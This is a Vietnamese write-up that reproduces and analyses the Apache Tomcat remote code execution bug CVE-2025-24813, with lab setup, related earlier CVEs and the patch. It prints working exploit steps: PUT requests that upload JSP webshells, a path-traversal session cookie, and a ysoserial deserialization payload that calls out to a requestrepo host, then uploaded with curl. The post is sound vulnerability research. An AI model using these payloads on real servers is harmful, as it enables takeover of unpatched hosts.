CVE-2025-24813 Tomcat RCE

Chào mọi người, mình là nhóm 98leet, mới thành lập và nghiên cứu về bug cho zui🖖. Hôm nay sẵn tiện đang rầm rộ con bug RCE mới của Tomcat. Poc đã xuất hiện từ vài ngày trước, mình sẽ thử reproduce lại xem sao :vv
I. Thông tin về CVE-2025-24813
Theo NVD thì con bug này được chấm điểm tân 9.8 Critical, khá ghê gớm
Theo bài viết trên Github của absholi7ly, lỗ hổng đòi hỏi nhiều yếu tố môi trường để thực hiện thành công RCE. Bao gồm:
(1) Tomcat version:
9.0.0-M1
≤ Tomcat ≤9.0.98
||10.1.0-M1
≤ Tomcat ≤10.1.34
||11.0.0-M1
≤ Tomcat ≤11.0.2
(2) Ứng dụng được kích hoạt tính năng ghi
DefaultServlet
, tính năng này bị tắt theo mặc định.(3) Hỗ trợ các yêu cầu Partial PUPUT, có thể ghi dữ liệu serialized vào file session, tính năng này được bật theo mặc định.
(4) Tomcat phải sử dụng bộ lưu trữ session dựa trên file (không phải mặc định) tại vị trí mặc định của nó.
(5) Ứng dụng chứa một thư viện có lỗ hổng deserialization, chẳng hạn như commons-collections trong classpath.
Trong quá khứ, Tomcat cũng từng bị một số lỗ hổng tương tự. Ví dụ:
CVE-2017-12615: Tomcat PUT file uploads
CVE-2020-9484: Tomcat Session Deserialisation Vulnerability
CVE-2024-50379: Time-of-check Time-of-use (TOCTOU) Race Condition
CVE-2024-56337: Time-of-check Time-of-use (TOCTOU) Race Condition
⇒ Bài viết này mình chỉ reproduce lại bug và tìm hiểu xem tại sao con bug này xuất hiện thôi nhé.
II. Reproduce CVE-2025-24813
1. Cài đặt môi trường
Cài đặt Apache Tomcat: Cài đặt Tomcat thì không có gì để bàn nhiều, mình cài theo bài viết này. Các bạn có thể cài bằng Docker cho nhanh 😂
Ubuntu 20.04
Apache Tomcat 10.1.34
Note: Apache Tomcat 11.0. x requires Java 17 or later. Apache Tomcat 10.1. x required Java 11.
Tạo 1 webapp đơn giản và đưa vào thư mục
/opt/tomcat/webapps
của Tomcat (Mình sử dụng cái này https://github.com/AndriyKalashnykov/tomcat-root-war). Các bạn chỉ cần tải file .war vào rồi copy vào thư mục/opt/tomcat/webapps
là xong, Tomcat sẽ tự giải nén ra folderROOT
.
Cấu hình môi trường:
Ứng dụng được kích hoạt tính năng ghi
DefaultServlet
, tính năng này bị tắt theo mặc định. Điều này liên quan đến thuộc tínhreadonly
củaDefaultServlet
. Chúng ta phải đặt thuộc tính này thànhfalse
trongtomcat/conf/web.xml
:<servlet> <servlet-name>default</servlet-name> <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class> <init-param> <param-name>readonly</param-name> <param-value>false</param-value> </init-param> </servlet>
Một chú giải thích từ ChatGPT ^^
Bạn cũng cần cấu hình đển enable lưu session trong file như sau. Mở file
/opt/tomcat/conf/context.xml
và thêm cấu hình sau:<Manager className="org.apache.catalina.session.PersistentManager"> <Store className="org.apache.catalina.session.FileStore"/> </Manager>
ChatGPT đã giải thích cho mình hiểu cơ ché lưu file session của Tomcat <3
Ngoài ra, để có thể RCE thì server cần sử dụng các thư viện tồn tại các gadget chain cho lỗ hổng Deserialization. Ở đây mình sử dụng
commons-collections-3.1.jar
, bạn có thể tải ở https://repo1.maven.org/maven2/commons-collections/commons-collections/3.1/Sau đó copy
commons-collections-3.1.jar
vào thư mục/opt/tomcat/lib
rồi restart lại Tomcat là xong nhé 🎉
Cài đặt Debug
Cài đặt Debug cũng khá dễ, mình sử dụng Intellij để Debug, các bạn làm theo các bước sau:
(1) Tạo một Project trống trong Intellij
(2) Copy hết tất cả các file
.jar
trong thư mục/opt/tomcat/lib
ra một folder riêng(3) Import tất cả các file jar trên vào Project vừa tạo trong Intellij:
Chọn File > Project Structur > Libraris > New Project Library (Hình dấu +) > Java > Bôi đen hết các file .jar rồi OK
Chọn vào phần Modules trong Project Setiings, sau đó tích vào tên Library vừa tạo
(4) Cấu hình Remote Debug
Trên Intellij: Chọn Run > Edit Configurations > Add New Configuration (Hình dấu +) > Remote JVM Debug > Sửa localhost thành IP máy ảo > Copy nội dung trong Command line arguments for remote JVM > Apply
Thêm
Command line arguments for remote JVM
vào biến môi trườngCATALINA_OPTS
trong file cấu hình/etc/systemd/system/tomcat.service
sau đó restart lại Tomcat
(5) Bật Remote Debug trên Intellij (Bấm vào hình con bọ ở góc trên bên phải), đặt Break Point và thử
2. Một số Bug của Tomcat có liên quan đến CVE-2025-24813
2.1. CVE-2017-12615
Mình cài đặt Tomcat 8.5.19 bằng Docker: https://github.com/vulhub/vulhub/tree/master/tomcat/CVE-2017-12615
Sửa
Dockerfile
vàdocker-compose.yml
như sau để có thể debug:FROM vulhub/tomcat:8.5.19 LABEL maintainer="phithon <root@leavesongs.com>" ENV CATALINA_OPTS="-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005" RUN cd /usr/local/tomcat/conf \ && LINE=$(nl -ba web.xml | grep '<load-on-startup>1' | awk '{print $1}') \ && ADDON="<init-param><param-name>readonly</param-name><param-value>false</param-value></init-param>" \ && sed -i "$LINE i $ADDON" web.xml
version: '2' services: tomcat: build: . ports: - "8081:8080" - "5005:5005"
Theo mô tả, nếu tham số
readonly
thànhfalse
, bạn có thể uploadfile JSP thông qua PUT và RCE. Đọc fileconf/web.xml
:PoC CVE-2017-12615
PUT /98leet.jsp/ HTTP/1.1 Host: 127.0.0.1:8081 Accept: */* Accept-Language: en Connection: close Content-Length: 5 98leet_request_put
Nếu là máy chủ Windows, bạn có thể upload file thông qua method PUT như sau
PUT /98leet.jsp%20 HTTP/1.1 Host: 127.0.0.1:8081 Accept: */* Accept-Language: en Connection: close Content-Length: 5 98leet_request_put
Hoặc
PUT /98leet.jsp::$DATA HTTP/1.1 Host: 127.0.0.1:8081 Accept: */* Accept-Language: en Connection: close Content-Length: 5 98leet_request_put
Sau khi upload file thành công, file
98leet.jsp
có nội dung trong phần body của request PUT. Bạn chỉ cần thay đổi nó thành một webshell jspỞ đây bắt buộc phải để path là
/98leet.jsp/
mà không phải là/98leet.jsp
. Điều này là do khi Tomcat phân tích cú pháp hậu tốjsp
hoặcjspx
, request sẽ được chuyển đếnJspServlet
. Kiểm tra trong file cấu hình/usr/local/tomcat/conconf/web.xml
Với ký tự
/
ở cuối (trong trường hợp của mình server là Linux), request sẽ không mapping vớiJspServlet
, nhưng sẽ đượcDefaultServlet
xử lý.
2.2. CVE-2020-9484
Về cơ chế thực hiện Deseralization của bug này tương đối giống với CVE-2025-24813 nên mình chỉ để payload cho các bạn tham khảo thôi nhé. Chi tiết cơ chế Deseralization thông qua file session mình sẽ giải thích ở bên dưới!
PoC CVE-2020-9484
curl 'http://127.0.0.1:8080/index.jsp' -H 'Cookie: JSESSIONID=../../../../../tmp/payload'
3. Phân tích CVE-2025-24813
Qua reveview PoC, mình nhận thấy luồng khai thác bug như sau: Tạo payload với Ysoseiral ⇒ PUT request ⇒ Ghi file tuỳ ý vào SessionsID ⇒ Tomcat tự động Deserialize nội dung trong file SessionID ⇒ Kích hoạt RCE
Servelet được tích hợp xử lý một số loại yêu cầu mặc định như: PUT, POST và GET. Tại đây, thư mục gốc của web được lấy trực tiếp, sau đó file được upload. Đây cũng là chỗ bị tấn công upload file với PUT request.
PUT /98leet HTTP/1.1 Host: 192.168.111.128:8080 Content-range: bytes 1-1/15 body_put_98leet
Tomcat có logic riêng để xử lý các yêu cầu PUT chưa hoàn chỉnh tại hàm
executePartialPut()
. Điều này liên quan đến Header HTTP Content-Range. Tham khảo thêm tại: https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Content-RangeCác giá trị trong Header HTTP
Content-range
được gán vào các biếnstart
,end
vàlength
, sau đó được truyền vào hàmexecutePartialPut()
.Hàm
executePartialPut()
sẽ xử lý path trong URL của request để chuẩn hóa thành tên file lưu trên server. Tại đây ký tự/
sẽ được thay thế bằng dấu.
và được đặt thành tên file để lưu trữ session.range.length
được sử dụng làm độ dài của file vàrange.start
làm điểm bắt đầu để xử lý stream. Vì vậy,range.length
phải lớn hơn tổng độ dài của phần request body, nếu không thì sẽ không thể upload toàn bộ nội dung của file.Tiếp theo, tôi sẽ phân tích đoạn kích hoạt Deserialization thông qua file session trong Tomcat. Khi ta gửi yêu cầu HTTP với header Cookie:
JSESSIONID=.98_le3t
, hàmload()
trong classFileStore
sẽ được gọiGET /favicon.ico HTTP/1.1 Host: 192.168.111.128:8080 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8 Referer: http://192.168.111.128:8080/jspcollection/ds.jsp Accept-Encoding: gzip, deflate Accept-Language: en-GB,en-US;q=0.9,en;q=0.8 Cookie: JSESSIONID=.98leet Connection: close
Tại đây, để kích hoạt được Deserialization thì chúng ta cần đi vào nhánh của
else
, điều này có nghĩa là file trên server của mình phải có tên là.98leet.session
, làm thế nào để mình tạo được file.session
trên server?Quay lại phần trước, với method PUT thì tất cả các ký tự
/
trong path sẽ được thay thế thành dấu.
để lưu thành tên file, vậy để có được file.session
cchúng ta chỉ cần gửi request PUT có dạng như sau:PUT /98leet/session HTTP/1.1 Host: 192.168.111.128:8080 Content-range: bytes 1-1/15 body_put_98leet_filfile_dot_session
Thực hiện lại bước kích hoạt Deserialization thông qua file session. Chúng ta đã đến được nhánh else, việc bây giờ là đưa được dữ liệu trong file session đến được
session.readObjectData(ois);
, đây chính là sink để kích hoạt DeserializationBước tiếp theo, chúng ta chỉ cần tạo payload từ ysoserial và upload vào file
.session
rồi thực hiện Deserialization. Ở đây mình dùngCommonsCollections7
vàcurl
để gửi request ta bên ngoài.java -jar ysoserial-all.jar CommonsCollections7 'curl http://ogqq34lv.requestrepo.com' >> 98_le3t.txt
Sử dụng curl để upload file thông qua method PUT
curl -X PUT --data-binary @98_le3t.txt -H "Content-Range: bytes 0-1500/1800" http://192.168.111.128:8080/98_le3t/session
Kích hoạt Deserialization
Dưới đây là toàn bộ Stack Trace
III. Patch
Apache Tomcat đã công bố bản vá cho CVE-2025-24813, đây là commit fix cho version 10.1.34 mà mình đang thử nghiệm: https://github.com/apache/tomcat/commit/f6c01d6577cf9a1e06792be47e623d36acc3b5dc
Điểm mấu chốt là ở đoạn code này, cơ chế đặt tên file khi upload file bằng PUT method đã được thay đổi. Tomcat sẽ tạo file
.tmp
tạm thời trong foldertempDir
, với tên bắt đầu bằngput-part-
⇒ This is bypass time 👏
IV. Kết luận
Như vậy mình đã tìm hiểu và reproduce bug CVE-2025-24813, bug tương đối đơn giản, tuy nhiên điều kiện khai thác tương đối phức tạp. Vậy tại sao nó lại được chấm điểm Critical. Theo mình có 2 nguyên nhân:
Tomcat phiên bản dính lỗ hổng trên thị trường còn rất nhiều (kết quả qua Shodan, Fofa)
Method PUT mặc dù đã được hạn chế enable by default trong nhiều phiên bản mới của Tomcat, nhưng về cơ bản, lỗ hổng chỉ cần thêm yếu tố Ghi File Session của Tomcat là có thể kích hoạt được. Do vậy, chỉ cần nhà quản trị cấu hình sai hoặc máy chủ tồn tại một lỗ hổng dạng Path Traversal thì hoàn toàn có thể khai thác RCE trong thực tế
⇒ Do vậy, các nhà quản trị Tomcat cần chú ý vá lỗ hổng này sớm nhất có thể.
V. Tài liệu tham khảo
Subscribe to my newsletter
Read articles from team98 directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by
